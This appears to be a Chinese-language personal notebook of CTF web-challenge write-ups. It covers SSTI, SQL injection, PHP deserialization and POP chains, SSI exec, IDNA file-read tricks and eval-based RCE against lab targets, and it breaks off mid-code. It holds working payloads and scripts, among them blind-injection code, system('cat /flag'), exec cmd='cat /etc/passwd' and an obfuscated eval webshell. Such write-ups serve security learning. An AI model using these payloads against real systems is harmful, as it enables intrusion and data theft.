![1625306090735](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1625306090735.png)

在这里插入图片描述

![1625306567140](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1625306567140.png)

![1625306613303](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1625306613303.png)

第一个intval绕过:
echo intval(1e10);    // 1410065408
echo intval('1e10');  // 1
第二个$num==md5($num)绕过
0e215962017-----0e291242476940776845150308577824
第三个空格绕过和cat绕过
get_flag=ls
get_flag=more<
fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
或者<可以为$IFS$9
more可以为sort

题目:[WesternCTF2018]shrine

考点:

SSTI注入:Jinjia

![1625311459039](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1625311459039.png)

将得到的源码整理格式得到:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
   return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
   def safe_jinja(s):
      s = s.replace('(', '').replace(')', '')
      blacklist = ['config', 'self']
      return ''.join(['{{% set {}=None%}}'.format(c)for c in blacklist]) + s
   return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
   app.run(debug=True)

分析:
app.config['FLAG'] = os.environ.pop('FLAG')
注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
上面这行代码把黑名单的东西遍历并设为空,例如:
/shrine/{{config}}
不过python还有一些内置函数,比如url_for和get_flashed_messages
/shrine/{{url_for.__globals__}}
-----------------------------------------------------------
解答思路:
看到current_app意思应该是当前app,那我们就当前app下的config:
payload:/shrine/{{url_for.__globals__['current_app'].config}}
得到flag

![1625311888043](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1625311888043.png)

![1625311776539](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1625311776539.png)

题目:[SUCTF 2019]Pythonginx

考点:

#直接给了源码:
        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->

![1625335863765](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1625335863765.png)

难点:需要suctf.cc不在url参数里面,但是在逐个字符h.encode('idna').decode('utf-8')
转换后变为suctf.cc
直接偷一个脚本:(将c转换为其他字符)
--------------------------------------------------------
# coding:utf-8
a=[]
for i in range(128,655370):
    tmp=chr(i)    
    try:        
        res = tmp.encode('idna').decode('utf-8')        
        if("-") in res:            
            a.append(res)
            continue
        if 'c' in res:        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:        
        pass
-----------------------------------------------------------------
运行结果:
U:℅    A:c/o      ascii:8453 
U:㎝    A:cm      ascii:13213 
U:㏄    A:cc      ascii:13252 
U:C    A:c      ascii:65315 
U:c    A:c      ascii:65347 
-----------------------------------------
所以可以用㏄代替cc:
suctf.㏄
nginx的一些配置文件信息:
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
使用file://suctf.c℆sr/local/nginx/conf/nginx.conf
查看nginx.conf朱配置文件

![1625336658784](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1625336658784.png)

看到flag路径/flag(访问报错)和/usr/fffffflag
尝试file://suctf.㏄/flag返回报错页面
尝试file://suctf.㏄/usr/fffffflag
得到flag

![1625336620692](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1625336620692.png)

题目:[SWPU2019]Web1

考点:

后台sql注入注册界面发现admin用户存但弱密码尝试登录失败,老老实实申请了一个账号,提交广告申请输入sql注入语句然后打开查看详情发现标题有查询功能返回报错。
空格被过滤用/**/代替,order/**/by得到有22个字段,2,3字段有回显,information_schema被ban了,使用无列名联合注入得到flag

![1627118035973](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627118035973.png)

逐个测试表名列名和字段数
-1'/**/union/**/select/**/1,select/**/group_concat(a,b,c)/**/from(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
得到flag:
flag{51147748-d2c6-4bd5-bac9-7a365931ba01}

![1627118296538](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627118296538.png)

题目:[MRCTF2020]PYWebsite

考点:XFF

![1627047542276](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627047542276.png)

扫付款码得到内容:
拜托!你不会真的想PY到flag吧,这样可是违规的!再好好分析一下界面代码吧

查看源码看到关键代码:
    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }

    }
可见只要参数的md5值为0cd4da0223c0b280829dc3ea458d655c即可获得flag,到众多网站破解均失败(有一个网站找到破解值但需要购买才能查看),另找其他方法
从代码可知flag在flag.php访问一下:

![1627046933788](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627046933788.png)

因为看到可以自己访问,联想到XFF来源参数,抓包尝试

![1627047469962](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627047469962.png)

得到flag:flag{a980c161-3ae2-4a4c-9457-5fcbd5d596a9}

题目:[极客大挑战 2019]FinalSQL

![1627116856995](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627116856995.png)

考点:sql盲注,select 1^99^1;得到99

测试登录框无Error显示,在点击数字后的search.php?id=0测试注入得到error回显,因此判断注入点为search.php的id,
用py脚本测试id=1^(ord(substr((select(database())),str_num,1))>mid)^1发现确实存在注入点,跑下面脚本逐个得到库名,表民,列明和flag:

import requests
url = "http://bec9fc68-0774-4792-8eed-554b971ad80e.node4.buuoj.cn/search.php"
flag = ''
for i in range(170,202):
    low = 32
    high = 127
    t=''
    while low < high:
        mid = (low+high)//2
        # 中间的语句为真,网页不报错,中间的语句为假,网页报错,根据这个判断
        # 查数据库
        #database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
        # 查表
        #tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
        #columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
        data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
        # 根据需要查询的内容改变get中的参数
        r = requests.get(url=url+data)
        # print(url+database)
        # print(payload1)
        # print(r.raw)
        if 'Click' in r.text:
            low = mid + 1
        else:
            high = mid
        # print(low,mid,high)
    flag += chr(low)
    print(flag)

题目:[0CTF 2016]piapiapia

![1627287144737](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627287144737.png)

![1627287397679](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627287397679.png)

![1627290034275](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627290034275.png)

![1627290110926](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627290116506.png)考点:备份文件+反序列化

1.在页面admin弱密码登录失败,又看到有个login,猜测是不是有注册页面(register.php),尝试发现页面存在
2.注册登录跳转到一个信息登记页面,看到文件一开始以为是文件上传题目,但是上传shell文件无效,因为文件上传后跳转到profiile.php页面但是上传的shell文件并没有被执行,F12查看发现文件是通过base64方式显示而不是单独运行显示.
3.使用dirsearch调低线程扫描出www.zip文件(也可以使用备份文件扫描脚本),下载得到源码,在config.php文件发现flag参数
4.回到信息更新的update.php查看文件上传方式update.php我们得知,先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为'hacker'
和profie.php是通过反序列化文件读取显示上传的文件,
显示文件是根据上传文件时提交表单的photo参数搜索的,输出文件的md5值********(关键)
所以利用字符串逃逸后端会将上传文件的用户信息表单变成序列化,在文件上传时构造畸形参数,使得在参数替换后再反序列化的photo参数变成ipconfig.php即可获得flag
注意:(nickkname大小限制为10字节,所以要将其抓包改为数组形式)
逃逸原理:

先闭合了一个变量的正确格式,又写入了一个变量的正确格式,最后闭合了一个反序列化的操作。该挤出的被挤出逃逸了,该丢弃的丢弃了,最后想要达成的目标也实现了。
于是我们再回归到题目里面来,因为我们最后是从数据库里面读取反序列化之后的结果,所以我们先在本地搭建序列化,看看序列化的格式之后编写相应的payload
可以看到,根据泄露的源码序列化之后的结果为
a:4:{s:5:"phone";s:6:"123456";s:5:"email";s:12:"test@126.com";s:8:"nickname";a:1:{i:0;s:4:"hell";}s:5:"photo";s:5:"hello";}
我们能够构造的是nickname,在这里我已经是传递数组给他了
我们需要将photo的值hello改变成config.php
根据之前的基础知识,本地的直接构造为:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
需要逃逸的字符串为
";}s:5:"photo";s:10:"config.php";}
长度为34,所以添加34个单引号,长度为34*2+4即72
可以看到本地的查看的文件已经修改为了config.php
我们在题目里面使用相同的思想
因为where转换成hacker会由5–>6,字符有一个增加,所以我们为了逃逸34个字符,就添加34*where
警告无伤大雅,因为我们传递的是数组类型的值,所以这里会有警告
源代码里面的base64编码就是config.php的base64编码,解码即可
F12可以看到成功读取了config.php的base64,解密后里面有flag的值
原理解释来源:https://www.cnblogs.com/Cl0ud/p/12177095.html

题目:[NPUCTF2020]ReadlezPHP

![1627459466585](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627459466585.png)

考点:反序列化

查看源码见到一个/time.php?source文件,访问看到源码:

![1627459541665](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627459541665.png)

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

由源码本地测试payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:3:"dir";s:1:"b";s:6:"system";}

可以执行phpinfo()函数,但是在题目环境不行,应该是system函数被ban了,

再测试payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:4:"eval";}

不知道为什么不行。。。。(dd不解)

将eval换为assert断言函数也可执行命令:

payoad:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

本地测试成功执行phpinfo()函数,复制到题目得到flag

![1627459910224](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627459910224.png)

tips:
assert()函数里面的参数函数会被执行,例如assert(phpinfo())会执行phpinfo()函数,assert(system('dir'))会执行system('dir')函数

题目:[MRCTF2020]Ezpop

![1627470259315](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627470259315.png)

考点:pop链反序列化

以下Wp来自https://www.jianshu.com/p/40ab1c531fcc
我们首先注意到Modifier类的append()方法中有include,结合题意,此处应该是用来包含flag.php的,当然此处我们需要使用php://filter来读取编码后的,否则直接include相当于执行而已,看不到结果,

可以想象,Modifier类是触发漏洞的最后一环,我们再看看,可以看到其还有一个魔术方法__invoke(),可以在作为函数被调用时触发,

正常情况下,我们只能进行这么一步反序列化操作,应该是无法直接调用Modifier的__invoke()的,

这就要求我们去找能调用__invoke()的地方,

顺着这个线索,我们找到Test类的__get()魔术方法,

这里Test类的__construct函数是假的,不用管,关注__get()函数 ,其中直接将$this->p作为函数来调用,正好对应Modifier的__invoke(),不妨将$this->p 设为一个构造好的Modifier对象,

如果这个题目比较友好的话(确实比较友好),这里应该是倒数第二环,接下来我们需要找触发Test的__get()方法的地方,

要想到的一点是只能通过源代码里已有的代码来触发,__get()在获得一个类的成员变量时调用,而且一定是$xxx -> 构造好的Test对象 ->xxx的这样一个形式(因为无法直接$test->xxx),

由此找到Show类的__toString()魔术方法,

__toString()在一个对象被当作一个字符串使用时调用,第一反应就是反序列化之后,echo,这样就直接触发了,但我们上面提到了,这里只给了一步反序列化,没有echo、print之类的操作,还需要继续寻找,

本题的最后一个触发点隐藏的比较深,在Show类的__wakeup()方法里,

 老实讲,我看到__wakeup()第一反应(包括第二反应第三反应)是去绕过,而不是利用,但这个题的__wakeup()过滤的是gopher|http一类的内容,对我们构造的pop链应该来讲没有影响,毕竟我们只需要找到能一处把Show类的对象当成字符串的地方使用就可以,这里的本意可能是防止我们通过Show类直接读取(猜的)?

这里的preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source),会将$this->source进行字符串的正则匹配,所以这里自然有一个隐式的“类型转换”,学过C语言,我们知道$this->source是不能指向对象自身的,但可以指向同类的另一个对象,差不多就是这个意思:$show1->source = $show。

此时$show1->source进行正则匹配,就会将$show当成字符串,进而触发$show的__toString(),只要让$show的str对象是$test,$test的p为一个Modifier对象,就和上面我们所想连起来了,

![1627470394190](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627470394190.png)

简陋exp:

<?php

//flag is in flag.php

//WTF IS THIS?

//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95

//And Crack It!

class Modifier {

protected  $var = "php://filter/read=convert.base64-encode/resource=flag.php";

}

class Show{

public $source;

public $str;

}

class Test{

public $p;

}

$modifier = new Modifier();

$test = new Test();

$test -> p = $modifier;

$show = new Show();

$show->str = $test;

$show1 = new Show();

$show1->source = $show;

echo urlencode(serialize($show1));

这里有一个细节,就是echo

urlencode(serialize($show1)),因为protected变量经反序列化后,变量名为,\x00 + * + \x00 +

变量名,直接echo payload将其打印到网页上的话是看不到\00的,复制为参数达不到效果,

此处一种做法是直接将最终的payload拼接到url里访问靶机,另一种方法是输出url编码后的payload,GET请求的参数在服务端会自动解码一次,故也可以达到效果。

![1627470447540](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627470447540.png)

得到flag

题目:[CISCN2019 华东南赛区]Web11

考点:

看到右上角的IP地址联想到[BJDCTF2020]The mystery of ip这道题,是利用XFF构造ip然后SSTI注入,测试X-Forwarded-For: 127.0.0.1{{7*7}}得到以下回显

![1627485849947](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627485849947.png)

img

根据此图可知利用的是smarty框架,利用{{system('ls')}}查看当前目录

![1627486019692](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627486019692.png)

看到有一个xff目录,查看一下

![1627486110316](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627486110316.png)

访问5A35BF7EDD94BF0D717F5278B31569E0.php

![1627486288359](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627486288359.png)

正常应该要绕过,但是,,,,没必要,使用X-Forwarded-For: 127.0.0.1{{system('cat /flag')}}

即可获得flag

![1627486387002](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627486387002.png)

Smarty框架常用利用方式
{php} 标签
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但就该题目而言无效,因为3.1.30已废除这个{php}标签。

{literal} 标签
 {literal}可以让块中间的内容忽略Smarty的解析。我们可以使用

{literal}<script language="php">phpinfo();</script>{/literal}
但是php7已经不支持<script language="php">这种写法了。

{if} 标签 (牛掰)
 每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用。
 也就是说我们把php代码写在{if PHP代码}{/if} 就可以了,PHP代码可以被执行。

题目:[BJDCTF2020]EasySearch

![1627521696265](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627521696265.png)

考点:SSI漏洞利用

扫描的得到备份文件index.php.swp

打开获得源码

<?php
    ob_start();
    function get_hash(){
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
        $content = uniqid().$random;
        return sha1($content); 
    }
    header("Content-Type: text/html;charset=utf-8");
    ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
            ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
            echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";

    }else
    {
    ***
    }
    ***
?>

分析:密码的md5值前6为必须为6d0bc1才能通过验证,脚本如下:
import hashlib
while(1):
    for i in range(999999999999999):
        md5=hashlib.md5(str(i).encode('UTF-8')).hexdigest()
        #print(md5[0:6])
        if(md5[0:6]=='6d0bc1'):
            print(i)
三个密码随便选一个
2020666
2305004
9162671
输入账号密码发现账号会被写入一个给出地址的shtml文件中,测试SSI漏洞是否存在

![1627521935013](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627521935013.png)

![1627522022015](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627522022015.png)

发现SSI漏洞存在,利用payload:

查看当前目录:username=

![1627522157870](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627522157870.png)

查看上级目录:username=

![1627522206674](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627522206674.png)

看到flag文件,输出flag文件:username=

![1627522332218](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627522332218.png)

SSI漏洞利用
#exec 示范
作用:将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi。
语法:
<!--#exec cmd="执行的命令"-->
<!--#exec cgi="文件名称"-->
参数:
cmd 常规应用程序
cgi CGI脚本程序
示例:
<!--#exec cmd="cat /etc/passwd"--> 将会显示密码文件
<!--#exec cmd="dir /b"--> 将会显示当前目录下文件列表
<!--#exec cgi="/cgi-bin/gb.cgi"--> 将会执行CGI程序gb.cgi。
<!--#exec cgi="/cgi-bin/access_log.cgi"--> 将会执行CGI程序access_log.cgi。

题目:[GYCTF2020]FlaskApp

考点:

题目:[BSidesCF 2019]Futurella

考点:

![1627605311606](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627605311606.png)

直接看源码得到flag

![1627605347608](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627605347608.png)

flag{de30351e-f507-4872-886b-6fbcba954ca6}

题目:[CISCN2019 华北赛区 Day1 Web2]ikun

考点:

题目:[MRCTF2020]套娃

考点:url空格%20可代替下划线_,%0a换行表示字符串结束

![1627634816098](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627634816098.png)

直接得到源码:
---------------------------------------------------------------------
$query = $_SERV
ER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
---------------------------------------------------------------------
分析:对传入的参数名和参数值分别有要求:
1.参数b_u_p_t的不严等于23333但是正则匹配从前到后匹配为23333
2.传入的参数和参数名都不能有_或者%5f(_的url编码)
解决方法:
用%5F或空格%20代替_
在23333后面加上%0a(为结束符)

![1627635436453](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627635436453.png)![1627635489559](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627635489559.png)

访问secrettw.php:

![1627635534205](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627635534205.png)

看到一堆JSFUCK编码,到网站解密得到原文:

![1627635597726](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627635597726.png)

alert("post me Merak"

POST传参Merak得到源码:

![1627635695349](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627635695349.png)

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 
---------------------------------------------------------------------
分析:
需要$ip = getIp();为127.0.0.1
需要文件名为23333的文件内容为todat is a happy day
最后输出base64解密再逐个字符简单加密得到的文件

解决:
IP匹配可再报文添加:Client-ip:127.0.0.1
23333文件用伪协议匹配2333=data:text/plain,todat is a happy day
得到flag.php(检测发现存在flag.php)----------------------
<?php
$re = 'flag.php';
$string='';
for($i=0;$i<strlen($re);$i++){
    $string .= chr(ord($re[$i]) - $i*2);

}
$string = base64_encode($string);
var_dump($string);
//string(12) "ZmpdYSZmXGI="
?>
-----------------------------------------------------
得到最终payload:
secrettw.php?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
同时报文添加:Client-ip:127.0.0.1

![1627636190809](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627636190809.png)

最后得到flag![1627636340410](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1627636340410.png)

题目:[极客大挑战 2019]RCE ME

考点:取反(异或)

![1628069413927](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628069413927.png)

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>
分析源码可知,大小写字母和数字被过滤,不存在大小写字母和数字的命令被执行
一开始想用异或得到payload,但是发现没弄出小括号(用上中文符号应该可以弄出来)就放弃,使用取反:
<?php 
$a='assert';
echo urlencode(~$a);
echo "<br>";
$b='(eval($_POST["test"]))';
echo urlencode(~$b).'</br>'; 
?>   

~assert=>%9E%8C%8C%9A%8D%8B
~(eval($_POST["test"]))=>%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6

得到payload:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

![1628070487034](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628070487034.png)

进入之后直接找根目录下的flag和一个readflag

![1628070531816](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628070531816.png)

使用payload:?code=(~%8F%97%8F%96%91%99%90)();查看phpinfo()

![1628070672839](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628070672839.png)

因为大多函数被禁用,没有权限执行,需要使用插件绕开disable_functions

选择PHP_GC_UAF模式或另一个标注选项

![1628071078053](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628071078053.png)

获得权限,打开命令端,转到根目录下,运行readflag得到flag

![1628147267444](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628147267444.png)

题目:[GWCTF 2019]枯燥的抽奖

考点:mt_srand()伪随机数加密破解

![1628443724453](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628443724453.png)

查看源码发现check.php:

![1628443775893](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628443775893.png)

得到加密源码:

![1628443813332](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628443813332.png)

9p33w31f7B

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");

此题为伪随机数加密题目,其中mt_srand()函数就是加密的关键,现在就是要找到随机数rand(0,999999999)

PHP mt_rand安全杂谈及应用场景详解 - FreeBuf互联网安全新媒体平台
https://www.freebuf.com/vuls/192012.html
php伪随机数漏洞 以及脚本php_mt_seed的使用教程 - 冬泳怪鸽 - 博客园
https://www.cnblogs.com/zaqzzz/p/9997855.html
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='9p33w31f7B'
str3 = str1[::-1]
print(str3)
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

在python运行脚本得到字符串35 35 0 61 15 15 0 61 29 29 0 61 29 29 0 61 22 22 0 61 29 29 0 61 27 27 0 61 5 5 0 61 33 33 0 61 37 37 0 61 
利用这个字符串使用https://www.openwall.com/php_mt_seed/php_mt_seed-4.0.tar.gz下载得到的文件tar -xzvf解压得到工具php_mt_seed-4.0
进入目录后make,再使用命令./php_mt_seed-4.0 35 35 0 61 15 15 0 61 29 29 0 61 29 29 0 61 22 22 0 61 29 29 0 61 27 27 0 61 5 5 0 61 33 33 0 61 37 37 0 61 
得到种子随机数为635175736(要在php7.1下使用此随机数跑源码输出$str)

![1628444424131](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628444424131.png)

php7.1环境下运行脚本:
<?php
mt_srand(635175736);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;
?>
得到9p33w31f7BbIIIJqeCVw
输入获得flag

![1628443711581](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628443711581.png)

题目:

考点:

题目:[FBCTF2019]RCEService

![1628560813638](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628560813638.png)

考点:preg_match()过滤绕过

提示要传入json数据且目前在网络控制台
传入cmd标签命令:{"cmd":"ls"}
得到回显:
----------------------------
Attempting to run command: |
index.php                  |
----------------------------
成功执行ls命令,但是尝试cat命令失败返回Hacking attempt detected,一开始以为被ban掉了,但是试了其他命令都不行,看大佬的wp都说直接在网上找到的源码:
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
